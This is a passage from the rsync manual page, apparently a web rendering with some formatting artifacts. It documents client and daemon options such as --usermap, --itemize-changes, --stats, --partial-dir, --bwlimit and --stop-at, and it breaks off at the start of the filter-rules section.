With this option rsync will transfer numeric group and user IDs rather than using user and group names and mapping them at both ends.

By default rsync will use the username and groupname to determine what ownership to give files. The special uid 0 and the special group 0 are never mapped via user/group names even if the –numeric-ids option is not specified.

If a user or group has no name on the source system or it has no match on the destination system, then the numeric ID from the source system is used instead. See also the use chroot setting in the rsyncd.conf manpage for some comments on how the chroot setting affects rsync’s ability to look up the names of the users and groups and what you can do about it.

–usermap=STRING, –groupmap=STRING
These options allow you to specify users and groups that should be mapped to other values by the receiving side. The STRING is one or more FROM:TO pairs of values separated by commas. Any matching FROM value from the sender is replaced with a TO value from the receiver. You may specify usernames or user IDs for the FROM and TO values, and the FROM value may also be a wild-card string, which will be matched against the sender’s names (wild-cards do NOT match against ID numbers, though see below for why a ‘*’ matches everything). You may instead specify a range of ID numbers via an inclusive range: LOW-HIGH. For example:

--usermap=0-99:nobody,wayne:admin,*:normal --groupmap=usr:1,1:usr

The first match in the list is the one that is used. You should specify all your user mappings using a single –usermap option, and/or all your group mappings using a single –groupmap option.

Note that the sender’s name for the 0 user and group are not transmitted to the receiver, so you should either match these values using a 0, or use the names in effect on the receiving side (typically “root”). All other FROM names match those in use on the sending side. All TO names match those in use on the receiving side.

Any IDs that do not have a name on the sending side are treated as having an empty name for the purpose of matching. This allows them to be matched via a “*” or using an empty name. For instance:

--usermap=:nobody --groupmap=*:nobody

When the –numeric-ids option is used, the sender does not send any names, so all the IDs are treated as having an empty name. This means that you will need to specify numeric FROM values if you want to map these nameless IDs to different values.

For the –usermap option to work, the receiver will need to be running as a super-user (see also the –super and –fake-super options). For the –groupmap option to work, the receiver will need to have permissions to set that group.

Starting with rsync 3.2.4, the –usermap option implies the –owner (-o) option while the –groupmap option implies the –group (-g) option (since rsync needs to have those options enabled for the mapping options to work).

An older rsync client may need to use -s to avoid a complaint about wildcard characters, but a modern rsync handles this automatically.

–chown=USER:GROUP
This option forces all files to be owned by USER with group GROUP. This is a simpler interface than using –usermap & –groupmap directly, but it is implemented using those options internally so they cannot be mixed. If either the USER or GROUP is empty, no mapping for the omitted user/group will occur. If GROUP is empty, the trailing colon may be omitted, but if USER is empty, a leading colon must be supplied.

If you specify “–chown=foo:bar”, this is exactly the same as specifying “–usermap=*:foo –groupmap=*:bar”, only easier (and with the same implied –owner and/or –group options).

An older rsync client may need to use -s to avoid a complaint about wildcard characters, but a modern rsync handles this automatically.

–timeout=SECONDS
This option allows you to set a maximum I/O timeout in seconds. If no data is transferred for the specified time then rsync will exit. The default is 0, which means no timeout.

–contimeout=SECONDS
This option allows you to set the amount of time that rsync will wait for its connection to an rsync daemon to succeed. If the timeout is reached, rsync exits with an error.

–address=ADDRESS
By default rsync will bind to the wildcard address when connecting to an rsync daemon. The –address option allows you to specify a specific IP address (or hostname) to bind to.

See also the daemon version of the –address option.

–port=PORT
This specifies an alternate TCP port number to use rather than the default of 873. This is only needed if you are using the double-colon (::) syntax to connect with an rsync daemon (since the URL syntax has a way to specify the port as a part of the URL).

See also the daemon version of the –port option.

–sockopts=OPTIONS
This option can provide endless fun for people who like to tune their systems to the utmost degree. You can set all sorts of socket options which may make transfers faster (or slower!). Read the manpage for the setsockopt() system call for details on some of the options you may be able to set. By default no special socket options are set. This only affects direct socket connections to a remote rsync daemon.

See also the daemon version of the –sockopts option.

–blocking-io
This tells rsync to use blocking I/O when launching a remote shell transport. If the remote shell is either rsh or remsh, rsync defaults to using blocking I/O, otherwise it defaults to using non-blocking I/O. (Note that ssh prefers non-blocking I/O.)

–outbuf=MODE
This sets the output buffering mode. The mode can be None (aka Unbuffered), Line, or Block (aka Full). You may specify as little as a single letter for the mode, and use upper or lower case.

The main use of this option is to change Full buffering to Line buffering when rsync’s output is going to a file or pipe.

–itemize-changes, -i
Requests a simple itemized list of the changes that are being made to each file, including attribute changes. This is exactly the same as specifying –out-format=’%i %n%L’. If you repeat the option, unchanged files will also be output, but only if the receiving rsync is at least version 2.6.7 (you can use -vv with older versions of rsync, but that also turns on the output of other verbose messages).

The “%i” escape has a cryptic output that is 11 letters long. The general format is like the string YXcstpoguax, where Y is replaced by the type of update being done, X is replaced by the file-type, and the other letters represent attributes that may be output if they are being modified.

The update types that replace the Y are as follows:

  1. A < means that a file is being transferred to the remote host (sent).

  2. A > means that a file is being transferred to the local host (received).

  3. A c means that a local change/creation is occurring for the item (such as the creation of a directory or the changing of a symlink, etc.).

  4. A h means that the item is a hard link to another item (requires –hard-links).

  5. A . means that the item is not being updated (though it might have attributes that are being modified).

  6. A * means that the rest of the itemized-output area contains a message (e.g. “deleting”).

The file-types that replace the X are: f for a file, a d for a directory, an L for a symlink, a D for a device, and a S for a special file (e.g. named sockets and fifos).

The other letters in the string indicate if some attributes of the file have changed, as follows:

  1. .” - the attribute is unchanged.

  2. +” - the file is newly created.

  3. " " - all the attributes are unchanged (all dots turn to spaces).

  4. ?” - the change is unknown (when the remote rsync is old).

  5. A letter indicates an attribute is being updated.

The attribute that is associated with each letter is as follows:

  1. A c means either that a regular file has a different checksum (requires –checksum) or that a symlink, device, or special file has a changed value. Note that if you are sending files to an rsync prior to 3.0.1, this change flag will be present only for checksum-differing regular files.

  2. A s means the size of a regular file is different and will be updated by the file transfer.

  3. A t means the modification time is different and is being updated to the sender’s value (requires –times). An alternate value of T means that the modification time will be set to the transfer time, which happens when a file/symlink/device is updated without –times and when a symlink is changed and the receiver can’t set its time. (Note: when using an rsync 3.0.0 client, you might see the s flag combined with t instead of the proper T flag for this time-setting failure.)

  4. A p means the permissions are different and are being updated to the sender’s value (requires –perms).

  5. An o means the owner is different and is being updated to the sender’s value (requires –owner and super-user privileges).

  6. A g means the group is different and is being updated to the sender’s value (requires –group and the authority to set the group).

  1. A u|n|b indicates the following information:

u means the access (use) time is different and is being updated to the sender’s value (requires –atimes)

  1. n means the create time (newness) is different and is being updated to the sender’s value (requires –crtimes)

  2. b means that both the access and create times are being updated

  1. The a means that the ACL information is being changed.

  2. The x means that the extended attribute information is being changed.

One other output is possible: when deleting files, the “%i” will output the string “*deleting” for each item that is being removed (assuming that you are talking to a recent enough rsync that it logs deletions instead of outputting them as a verbose message).

–out-format=FORMAT
This allows you to specify exactly what the rsync client outputs to the user on a per-update basis. The format is a text string containing embedded single-character escape sequences prefixed with a percent (%) character. A default format of “%n%L” is assumed if either –info=name or -v is specified (this tells you just the name of the file and, if the item is a link, where it points). For a full list of the possible escape characters, see the log format setting in the rsyncd.conf manpage.

Specifying the –out-format option implies the –info=name option, which will mention each file, dir, etc. that gets updated in a significant way (a transferred file, a recreated symlink/device, or a touched directory). In addition, if the itemize-changes escape (%i) is included in the string (e.g. if the –itemize-changes option was used), the logging of names increases to mention any item that is changed in any way (as long as the receiving side is at least 2.6.4). See the –itemize-changes option for a description of the output of “%i”.

Rsync will output the out-format string prior to a file’s transfer unless one of the transfer-statistic escapes is requested, in which case the logging is done at the end of the file’s transfer. When this late logging is in effect and –progress is also specified, rsync will also output the name of the file being transferred prior to its progress information (followed, of course, by the out-format output).

–log-file=FILE
This option causes rsync to log what it is doing to a file. This is similar to the logging that a daemon does, but can be requested for the client side and/or the server side of a non-daemon transfer. If specified as a client option, transfer logging will be enabled with a default format of “%i %n%L”. See the –log-file-format option if you wish to override this.

Here’s an example command that requests the remote side to log what is happening:

rsync -av --remote-option=--log-file=/tmp/rlog src/ dest/

This is very useful if you need to debug why a connection is closing unexpectedly.

See also the daemon version of the –log-file option.

–log-file-format=FORMAT
This allows you to specify exactly what per-update logging is put into the file specified by the –log-file option (which must also be specified for this option to have any effect). If you specify an empty string, updated files will not be mentioned in the log file. For a list of the possible escape characters, see the log format setting in the rsyncd.conf manpage.

The default FORMAT used if –log-file is specified and this option is not is ‘%i %n%L’.

See also the daemon version of the –log-file-format option.

–stats
This tells rsync to print a verbose set of statistics on the file transfer, allowing you to tell how effective rsync’s delta-transfer algorithm is for your data. This option is equivalent to –info=stats2 if combined with 0 or 1 -v options, or –info=stats3 if combined with 2 or more -v options.

The current statistics are as follows:

  1. Number of files is the count of all “files” (in the generic sense), which includes directories, symlinks, etc. The total count will be followed by a list of counts by filetype (if the total is non-zero). For example: “(reg: 5, dir: 3, link: 2, dev: 1, special: 1)” lists the totals for regular files, directories, symlinks, devices, and special files. If any of value is 0, it is completely omitted from the list.

  2. Number of created files is the count of how many “files” (generic sense) were created (as opposed to updated). The total count will be followed by a list of counts by filetype (if the total is non-zero).

  3. Number of deleted files is the count of how many “files” (generic sense) were deleted. The total count will be followed by a list of counts by filetype (if the total is non-zero). Note that this line is only output if deletions are in effect, and only if protocol 31 is being used (the default for rsync 3.1.x).

  4. Number of regular files transferred is the count of normal files that were updated via rsync’s delta-transfer algorithm, which does not include dirs, symlinks, etc. Note that rsync 3.1.0 added the word “regular” into this heading.

  5. Total file size is the total sum of all file sizes in the transfer. This does not count any size for directories or special files, but does include the size of symlinks.

  6. Total transferred file size is the total sum of all files sizes for just the transferred files.

  7. Literal data is how much unmatched file-update data we had to send to the receiver for it to recreate the updated files.

  8. Matched data is how much data the receiver got locally when recreating the updated files.

  9. File list size is how big the file-list data was when the sender sent it to the receiver. This is smaller than the in-memory size for the file list due to some compressing of duplicated data when rsync sends the list.

  10. File list generation time is the number of seconds that the sender spent creating the file list. This requires a modern rsync on the sending side for this to be present.

  11. File list transfer time is the number of seconds that the sender spent sending the file list to the receiver.

  12. Total bytes sent is the count of all the bytes that rsync sent from the client side to the server side.

  13. Total bytes received is the count of all non-message bytes that rsync received by the client side from the server side. “Non-message” bytes means that we don’t count the bytes for a verbose message that the server sent to us, which makes the stats more consistent.

–8-bit-output, -8
This tells rsync to leave all high-bit characters unescaped in the output instead of trying to test them to see if they’re valid in the current locale and escaping the invalid ones. All control characters (but never tabs) are always escaped, regardless of this option’s setting.

The escape idiom that started in 2.6.7 is to output a literal backslash (**) and a hash (#), followed by exactly 3 octal digits. For example, a newline would output as “\012**”. A literal backslash that is in a filename is not escaped unless it is followed by a hash and 3 digits (0-9).

–human-readable, -h
Output numbers in a more human-readable format. There are 3 possible levels:

  1. output numbers with a separator between each set of 3 digits (either a comma or a period, depending on if the decimal point is represented by a period or a comma).

  2. output numbers in units of 1000 (with a character suffix for larger units – see below).

  3. output numbers in units of 1024.

The default is human-readable level 1. Each -h option increases the level by one. You can take the level down to 0 (to output numbers as pure digits) by specifying the –no-human-readable (–no-h) option.

The unit letters that are appended in levels 2 and 3 are: K (kilo), M (mega), G (giga), T (tera), or P (peta). For example, a 1234567-byte file would output as 1.23M in level-2 (assuming that a period is your local decimal point).

Backward compatibility note: versions of rsync prior to 3.1.0 do not support human-readable level 1, and they default to level 0. Thus, specifying one or two -h options will behave in a comparable manner in old and new versions as long as you didn’t specify a –no-h option prior to one or more -h options. See the –list-only option for one difference.

–partial
By default, rsync will delete any partially transferred file if the transfer is interrupted. In some circumstances it is more desirable to keep partially transferred files. Using the –partial option tells rsync to keep the partial file which should make a subsequent transfer of the rest of the file much faster.

–partial-dir=DIR
This option modifies the behavior of the –partial option while also implying that it be enabled. This enhanced partial-file method puts any partially transferred files into the specified DIR instead of writing the partial file out to the destination file. On the next transfer, rsync will use a file found in this dir as data to speed up the resumption of the transfer and then delete it after it has served its purpose.

Note that if –whole-file is specified (or implied), any partial-dir files that are found for a file that is being updated will simply be removed (since rsync is sending files without using rsync’s delta-transfer algorithm).

Rsync will create the DIR if it is missing, but just the last dir – not the whole path. This makes it easy to use a relative path (such as “–partial-dir=.rsync-partial”) to have rsync create the partial-directory in the destination file’s directory when it is needed, and then remove it again when the partial file is deleted. Note that this directory removal is only done for a relative pathname, as it is expected that an absolute path is to a directory that is reserved for partial-dir work.

If the partial-dir value is not an absolute path, rsync will add an exclude rule at the end of all your existing excludes. This will prevent the sending of any partial-dir files that may exist on the sending side, and will also prevent the untimely deletion of partial-dir items on the receiving side. An example: the above –partial-dir option would add the equivalent of this “perishable” exclude at the end of any other filter rules: -f ‘-p .rsync-partial/’

If you are supplying your own exclude rules, you may need to add your own exclude/hide/protect rule for the partial-dir because:

  1. the auto-added rule may be ineffective at the end of your other rules, or

  2. you may wish to override rsync’s exclude choice.

For instance, if you want to make rsync clean-up any left-over partial-dirs that may be lying around, you should specify –delete-after and add a “risk” filter rule, e.g. -f ‘R .rsync-partial/’. Avoid using –delete-before or –delete-during unless you don’t need rsync to use any of the left-over partial-dir data during the current run.

IMPORTANT: the –partial-dir should not be writable by other users or it is a security risk! E.g. AVOID “/tmp”!

You can also set the partial-dir value the RSYNC_PARTIAL_DIR environment variable. Setting this in the environment does not force –partial to be enabled, but rather it affects where partial files go when –partial is specified. For instance, instead of using –partial-dir=.rsync-tmp along with –progress, you could set RSYNC_PARTIAL_DIR=.rsync-tmp in your environment and then use the -P option to turn on the use of the .rsync-tmp dir for partial transfers. The only times that the –partial option does not look for this environment value are:

  1. when –inplace was specified (since –inplace conflicts with –partial-dir), and

  2. when –delay-updates was specified (see below).

When a modern rsync resumes the transfer of a file in the partial-dir, that partial file is now updated in-place instead of creating yet another tmp-file copy (so it maxes out at dest + tmp instead of dest + partial + tmp). This requires both ends of the transfer to be at least version 3.2.0.

For the purposes of the daemon-config’s “refuse options” setting, –partial-dir does not imply –partial. This is so that a refusal of the –partial option can be used to disallow the overwriting of destination files with a partial transfer, while still allowing the safer idiom provided by –partial-dir.

–delay-updates
This option puts the temporary file from each updated file into a holding directory until the end of the transfer, at which time all the files are renamed into place in rapid succession. This attempts to make the updating of the files a little more atomic. By default the files are placed into a directory named .tmp in each file’s destination directory, but if you’ve specified the –partial-dir option, that directory will be used instead. See the comments in the –partial-dir section for a discussion of how this .tmp dir will be excluded from the transfer, and what you can do if you want rsync to cleanup old .tmp dirs that might be lying around. Conflicts with –inplace and –append.

This option implies –no-inc-recursive since it needs the full file list in memory in order to be able to iterate over it at the end.

This option uses more memory on the receiving side (one bit per file transferred) and also requires enough free disk space on the receiving side to hold an additional copy of all the updated files. Note also that you should not use an absolute path to –partial-dir unless:

  1. there is no chance of any of the files in the transfer having the same name (since all the updated files will be put into a single directory if the path is absolute), and

  2. there are no mount points in the hierarchy (since the delayed updates will fail if they can’t be renamed into place).

See also the “atomic-rsync” python script in the “support” subdir for an update algorithm that is even more atomic (it uses –link-dest and a parallel hierarchy of files).

–prune-empty-dirs, -m
This option tells the receiving rsync to get rid of empty directories from the file-list, including nested directories that have no non-directory children. This is useful for avoiding the creation of a bunch of useless directories when the sending rsync is recursively scanning a hierarchy of files using include/exclude/filter rules.

This option can still leave empty directories on the receiving side if you make use of TRANSFER_RULES.

Because the file-list is actually being pruned, this option also affects what directories get deleted when a delete is active. However, keep in mind that excluded files and directories can prevent existing items from being deleted due to an exclude both hiding source files and protecting destination files. See the perishable filter-rule option for how to avoid this.

You can prevent the pruning of certain empty directories from the file-list by using a global “protect” filter. For instance, this option would ensure that the directory “emptydir” was kept in the file-list:

--filter 'protect emptydir/'

Here’s an example that copies all .pdf files in a hierarchy, only creating the necessary destination directories to hold the .pdf files, and ensures that any superfluous files and directories in the destination are removed (note the hide filter of non-directories being used instead of an exclude):

rsync -avm --del --include='*.pdf' -f 'hide,! */' src/ dest

If you didn’t want to remove superfluous destination files, the more time-honored options of –include=’*/’ –exclude=’*’ would work fine in place of the hide-filter (if that is more natural to you).

–progress
This option tells rsync to print information showing the progress of the transfer. This gives a bored user something to watch. With a modern rsync this is the same as specifying –info=flist2,name,progress, but any user-supplied settings for those info flags takes precedence (e.g. –info=flist0 –progress).

While rsync is transferring a regular file, it updates a progress line that looks like this:

782448  63%  110.64kB/s    0:00:04

In this example, the receiver has reconstructed 782448 bytes or 63% of the sender’s file, which is being reconstructed at a rate of 110.64 kilobytes per second, and the transfer will finish in 4 seconds if the current rate is maintained until the end.

These statistics can be misleading if rsync’s delta-transfer algorithm is in use. For example, if the sender’s file consists of the basis file followed by additional data, the reported rate will probably drop dramatically when the receiver gets to the literal data, and the transfer will probably take much longer to finish than the receiver estimated as it was finishing the matched part of the file.

When the file transfer finishes, rsync replaces the progress line with a summary line that looks like this:

1,238,099 100%  146.38kB/s    0:00:08  (xfr#5, to-chk=169/396)

In this example, the file was 1,238,099 bytes long in total, the average rate of transfer for the whole file was 146.38 kilobytes per second over the 8 seconds that it took to complete, it was the 5th transfer of a regular file during the current rsync session, and there are 169 more files for the receiver to check (to see if they are up-to-date or not) remaining out of the 396 total files in the file-list.

In an incremental recursion scan, rsync won’t know the total number of files in the file-list until it reaches the ends of the scan, but since it starts to transfer files during the scan, it will display a line with the text “ir-chk” (for incremental recursion check) instead of “to-chk” until the point that it knows the full size of the list, at which point it will switch to using “to-chk”. Thus, seeing “ir-chk” lets you know that the total count of files in the file list is still going to increase (and each time it does, the count of files left to check will increase by the number of the files added to the list).

-P
The -P option is equivalent to “–partial –progress”. Its purpose is to make it much easier to specify these two options for a long transfer that may be interrupted.

There is also a –info=progress2 option that outputs statistics based on the whole transfer, rather than individual files. Use this flag without outputting a filename (e.g. avoid -v or specify –info=name0) if you want to see how the transfer is doing without scrolling the screen with a lot of names. (You don’t need to specify the –progress option in order to use –info=progress2.)

Finally, you can get an instant progress report by sending rsync a signal of either SIGINFO or SIGVTALRM. On BSD systems, a SIGINFO is generated by typing a Ctrl+T (Linux doesn’t currently support a SIGINFO signal). When the client-side process receives one of those signals, it sets a flag to output a single progress report which is output when the current file transfer finishes (so it may take a little time if a big file is being handled when the signal arrives). A filename is output (if needed) followed by the –info=progress2 format of progress info. If you don’t know which of the 3 rsync processes is the client process, it’s OK to signal all of them (since the non-client processes ignore the signal).

CAUTION: sending SIGVTALRM to an older rsync (pre-3.2.0) will kill it.

–password-file=FILE
This option allows you to provide a password for accessing an rsync daemon via a file or via standard input if FILE is -. The file should contain just the password on the first line (all other lines are ignored). Rsync will exit with an error if FILE is world readable or if a root-run rsync command finds a non-root-owned file.

This option does not supply a password to a remote shell transport such as ssh; to learn how to do that, consult the remote shell’s documentation. When accessing an rsync daemon using a remote shell as the transport, this option only comes into effect after the remote shell finishes its authentication (i.e. if you have also specified a password in the daemon’s config file).

–early-input=FILE
This option allows rsync to send up to 5K of data to the “early exec” script on its stdin. One possible use of this data is to give the script a secret that can be used to mount an encrypted filesystem (which you should unmount in the the “post-xfer exec” script).

The daemon must be at least version 3.2.1.

–list-only
This option will cause the source files to be listed instead of transferred. This option is inferred if there is a single source arg and no destination specified, so its main uses are:

  1. to turn a copy command that includes a destination arg into a file-listing command, or

  2. to be able to specify more than one source arg. Note: be sure to include the destination.

CAUTION: keep in mind that a source arg with a wild-card is expanded by the shell into multiple args, so it is never safe to try to specify a single wild-card arg to try to infer this option. A safe example is:

rsync -av --list-only foo* dest/

This option always uses an output format that looks similar to this:

drwxrwxr-x          4,096 2022/09/30 12:53:11 support
-rw-rw-r--             80 2005/01/11 10:37:37 support/Makefile

The only option that affects this output style is (as of 3.1.0) the –human-readable (-h) option. The default is to output sizes as byte counts with digit separators (in a 14-character-width column). Specifying at least one -h option makes the sizes output with unit suffixes. If you want old-style bytecount sizes without digit separators (and an 11-character-width column) use –no-h.

Compatibility note: when requesting a remote listing of files from an rsync that is version 2.6.3 or older, you may encounter an error if you ask for a non-recursive listing. This is because a file listing implies the –dirs option w/o –recursive, and older rsyncs don’t have that option. To avoid this problem, either specify the –no-dirs option (if you don’t need to expand a directory’s content), or turn on recursion and exclude the content of subdirectories: -r –exclude=’/*/*’.

–bwlimit=RATE
This option allows you to specify the maximum transfer rate for the data sent over the socket, specified in units per second. The RATE value can be suffixed with a string to indicate a size multiplier, and may be a fractional value (e.g. –bwlimit=1.5m). If no suffix is specified, the value will be assumed to be in units of 1024 bytes (as if “K” or “KiB” had been appended). See the –max-size option for a description of all the available suffixes. A value of 0 specifies no limit.

For backward-compatibility reasons, the rate limit will be rounded to the nearest KiB unit, so no rate smaller than 1024 bytes per second is possible.

Rsync writes data over the socket in blocks, and this option both limits the size of the blocks that rsync writes, and tries to keep the average transfer rate at the requested limit. Some burstiness may be seen where rsync writes out a block of data and then sleeps to bring the average rate into compliance.

Due to the internal buffering of data, the –progress option may not be an accurate reflection on how fast the data is being sent. This is because some files can show up as being rapidly sent when the data is quickly buffered, while other can show up as very slow when the flushing of the output buffer occurs. This may be fixed in a future version.

See also the daemon version of the –bwlimit option.

–stop-after=MINS, (–time-limit=MINS)
This option tells rsync to stop copying when the specified number of minutes has elapsed.

For maximal flexibility, rsync does not communicate this option to the remote rsync since it is usually enough that one side of the connection quits as specified. This allows the option’s use even when only one side of the connection supports it. You can tell the remote side about the time limit using –remote-option (-M), should the need arise.

The –time-limit version of this option is deprecated.

–stop-at=y-m-dTh:m
This option tells rsync to stop copying when the specified point in time has been reached. The date & time can be fully specified in a numeric format of year-month-dayThour:minute (e.g. 2000-12-31T23:59) in the local timezone. You may choose to separate the date numbers using slashes instead of dashes.

The value can also be abbreviated in a variety of ways, such as specifying a 2-digit year and/or leaving off various values. In all cases, the value will be taken to be the next possible point in time where the supplied information matches. If the value specifies the current time or a past time, rsync exits with an error.

For example, “1-30” specifies the next January 30th (at midnight local time), “14:00” specifies the next 2 P.M., “1” specifies the next 1st of the month at midnight, “31” specifies the next month where we can stop on its 31st day, and “:59” specifies the next 59th minute after the hour.

For maximal flexibility, rsync does not communicate this option to the remote rsync since it is usually enough that one side of the connection quits as specified. This allows the option’s use even when only one side of the connection supports it. You can tell the remote side about the time limit using –remote-option (-M), should the need arise. Do keep in mind that the remote host may have a different default timezone than your local host.

–fsync
Cause the receiving side to fsync each finished file. This may slow down the transfer, but can help to provide peace of mind when updating critical files.

–write-batch=FILE
Record a file that can later be applied to another identical destination with –read-batch. See the “BATCH MODE” section for details, and also the –only-write-batch option.

This option overrides the negotiated checksum & compress lists and always negotiates a choice based on old-school md5/md4/zlib choices. If you want a more modern choice, use the –checksum-choice (–cc) and/or –compress-choice (–zc) options.

–only-write-batch=FILE
Works like –write-batch, except that no updates are made on the destination system when creating the batch. This lets you transport the changes to the destination system via some other means and then apply the changes via –read-batch.

Note that you can feel free to write the batch directly to some portable media: if this media fills to capacity before the end of the transfer, you can just apply that partial transfer to the destination and repeat the whole process to get the rest of the changes (as long as you don’t mind a partially updated destination system while the multi-update cycle is happening).

Also note that you only save bandwidth when pushing changes to a remote system because this allows the batched data to be diverted from the sender into the batch file without having to flow over the wire to the receiver (when pulling, the sender is remote, and thus can’t write the batch).

–read-batch=FILE
Apply all of the changes stored in FILE, a file previously generated by –write-batch. If FILE is -, the batch data will be read from standard input. See the “BATCH MODE” section for details.

–protocol=NUM
Force an older protocol version to be used. This is useful for creating a batch file that is compatible with an older version of rsync. For instance, if rsync 2.6.4 is being used with the –write-batch option, but rsync 2.6.3 is what will be used to run the –read-batch option, you should use “–protocol=28” when creating the batch file to force the older protocol version to be used in the batch file (assuming you can’t upgrade the rsync on the reading system).

–iconv=CONVERT_SPEC
Rsync can convert filenames between character sets using this option. Using a CONVERT_SPEC of “.” tells rsync to look up the default character-set via the locale setting. Alternately, you can fully specify what conversion to do by giving a local and a remote charset separated by a comma in the order –iconv=LOCAL,REMOTE, e.g. –iconv=utf8,iso88591. This order ensures that the option will stay the same whether you’re pushing or pulling files. Finally, you can specify either –no-iconv or a CONVERT_SPEC of “-” to turn off any conversion. The default setting of this option is site-specific, and can also be affected via the RSYNC_ICONV environment variable.

For a list of what charset names your local iconv library supports, you can run “iconv –list”.

If you specify the –secluded-args (-s) option, rsync will translate the filenames you specify on the command-line that are being sent to the remote host. See also the –files-from option.

Note that rsync does not do any conversion of names in filter files (including include/exclude files). It is up to you to ensure that you’re specifying matching rules that can match on both sides of the transfer. For instance, you can specify extra include/exclude rules if there are filename differences on the two sides that need to be accounted for.

When you pass an –iconv option to an rsync daemon that allows it, the daemon uses the charset specified in its “charset” configuration parameter regardless of the remote charset you actually pass. Thus, you may feel free to specify just the local charset for a daemon transfer (e.g. –iconv=utf8).

–ipv4, -4 or –ipv6, -6
Tells rsync to prefer IPv4/IPv6 when creating sockets or running ssh. This affects sockets that rsync has direct control over, such as the outgoing socket when directly contacting an rsync daemon, as well as the forwarding of the -4 or -6 option to ssh when rsync can deduce that ssh is being used as the remote shell. For other remote shells you’ll need to specify the “–rsh SHELL -4” option directly (or whatever IPv4/IPv6 hint options it uses).

See also the daemon version of these options.

If rsync was compiled without support for IPv6, the –ipv6 option will have no effect. The rsync –version output will contain “no IPv6” if is the case.

–checksum-seed=NUM
Set the checksum seed to the integer NUM. This 4 byte checksum seed is included in each block and MD4 file checksum calculation (the more modern MD5 file checksums don’t use a seed). By default the checksum seed is generated by the server and defaults to the current time(). This option is used to set a specific checksum seed, which is useful for applications that want repeatable block checksums, or in the case where the user wants a more random checksum seed. Setting NUM to 0 causes rsync to use the default of time() for checksum seed.

DAEMON OPTIONS

The options allowed when starting an rsync daemon are as follows:

–daemon
This tells rsync that it is to run as a daemon. The daemon you start running may be accessed using an rsync client using the host::module or rsync://host/module/ syntax.

If standard input is a socket then rsync will assume that it is being run via inetd, otherwise it will detach from the current terminal and become a background daemon. The daemon will read the config file (rsyncd.conf) on each connect made by a client and respond to requests accordingly.

See the rsyncd.conf(5) manpage for more details.

–address=ADDRESS
By default rsync will bind to the wildcard address when run as a daemon with the –daemon option. The –address option allows you to specify a specific IP address (or hostname) to bind to. This makes virtual hosting possible in conjunction with the –config option.

See also the address global option in the rsyncd.conf manpage and the client version of the –address option.

–bwlimit=RATE
This option allows you to specify the maximum transfer rate for the data the daemon sends over the socket. The client can still specify a smaller –bwlimit value, but no larger value will be allowed.

See the client version of the –bwlimit option for some extra details.

–config=FILE
This specifies an alternate config file than the default. This is only relevant when –daemon is specified. The default is /etc/rsyncd.conf unless the daemon is running over a remote shell program and the remote user is not the super-user; in that case the default is rsyncd.conf in the current directory (typically $HOME).

–dparam=OVERRIDE, -M
This option can be used to set a daemon-config parameter when starting up rsync in daemon mode. It is equivalent to adding the parameter at the end of the global settings prior to the first module’s definition. The parameter names can be specified without spaces, if you so desire. For instance:

rsync --daemon -M pidfile=/path/rsync.pid

–no-detach
When running as a daemon, this option instructs rsync to not detach itself and become a background process. This option is required when running as a service on Cygwin, and may also be useful when rsync is supervised by a program such as daemontools or AIX’s System Resource Controller. –no-detach is also recommended when rsync is run under a debugger. This option has no effect if rsync is run from inetd or sshd.

–port=PORT
This specifies an alternate TCP port number for the daemon to listen on rather than the default of 873.

See also the client version of the –port option and the port global setting in the rsyncd.conf manpage.

–log-file=FILE
This option tells the rsync daemon to use the given log-file name instead of using the “log file” setting in the config file.

See also the client version of the –log-file option.

–log-file-format=FORMAT
This option tells the rsync daemon to use the given FORMAT string instead of using the “log format” setting in the config file. It also enables “transfer logging” unless the string is empty, in which case transfer logging is turned off.

See also the client version of the –log-file-format option.

–sockopts
This overrides the socket options setting in the rsyncd.conf file and has the same syntax.

See also the client version of the –sockopts option.

–verbose, -v
This option increases the amount of information the daemon logs during its startup phase. After the client connects, the daemon’s verbosity level will be controlled by the options that the client used and the “max verbosity” setting in the module’s config section.

See also the client version of the –verbose option.

–ipv4, -4 or –ipv6, -6
Tells rsync to prefer IPv4/IPv6 when creating the incoming sockets that the rsync daemon will use to listen for connections. One of these options may be required in older versions of Linux to work around an IPv6 bug in the kernel (if you see an “address already in use” error when nothing else is using the port, try specifying –ipv6 or –ipv4 when starting the daemon).

See also the client version of these options.

If rsync was compiled without support for IPv6, the –ipv6 option will have no effect. The rsync –version output will contain “no IPv6” if is the case.

–help, -h
When specified after –daemon, print a short help page describing the options available for starting an rsync daemon.

FILTER RULES

The filter rules allow for custom control of several aspects of how files are handled:

  1. Control which files the sending side puts into the file list that describes the transfer hierarchy

  2. Control which files the receiving side protects from deletion when the file is not in the sender’s file list

  3. Control which extended attribute names are skipped when copying xattrs

The rules are either directly specified via option arguments or they can be read in from one or more files. The filter-rule files can even be a part of the hierarchy of files being copied, affecting different parts of the tree in different ways.

SIMPLE INCLUDE/EXCLUDE RULES

We will first cover the basics of how include & exclude rules affect what files are transferred, ignoring any deletion side-effects. Filter rules mainly affect the contents of directories that rsync is “recursing” into, but they can also affect a top-level item in the transfer that was specified as a argument.

The default for any unmatched file/dir is for it to be included in the transfer, which puts the file/dir into the sender’s file list. The use of an exclude rule causes one or more matching files/dirs to be left out of the sender’s file list. An include rule can be used to limit the effect of an exclude rule that is matching too many files.

The order of the rules is important because the first rule that matches is the one that takes effect. Thus, if an early rule excludes a file, no include rule that comes after it can have any effect. This means that you must place any include overrides somewhere prior to the exclude that it is intended to limit.

When a directory is excluded, all its contents and sub-contents are also excluded. The sender doesn’t scan through any of it at all, which can save a lot of time when skipping large unneeded sub-trees.

It is also important to understand that the include/exclude rules are applied to every file and directory that the sender is recursing into. Thus, if you want a particular deep file to be included, you have to make sure that none of the directories that must be traversed on the way down to that file are excluded or else the file will never be discovered to be included. As an example, if the directory “a/path” was given as a transfer argument and you want to ensure that the file “a/path/down/deep/wanted.txt” is a part of the transfer, then the sender must not exclude the directories “a/path”, “a/path/down”, or “a/path/down/deep” as it makes it way scanning through the file tree.

When you are working on the rules, it can be helpful to ask rsync to tell you what is being excluded/included and why. Specifying –debug=FILTER or (when pulling files) -M–debug=FILTER turns on level 1 of the FILTER debug information that will output a message any time that a file or directory is included or excluded and which rule it matched. Beginning in 3.2.4 it will also warn if a filter rule has trailing whitespace, since an exclude of “foo " (with a trailing space) will not exclude a file named “foo”.

Exclude and include rules can specify wildcard PATTERN MATCHING RULES (similar to shell wildcards) that allow you to match things like a file suffix or a portion of a filename.

A rule can be limited to only affecting a directory by putting a trailing slash onto the filename.

SIMPLE INCLUDE/EXCLUDE EXAMPLE

With the following file tree created on the sending side:

mkdir x/ touch x/file.txt mkdir x/y/ touch x/y/file.txt touch x/y/zzz.txt mkdir x/z/ touch x/z/file.txt

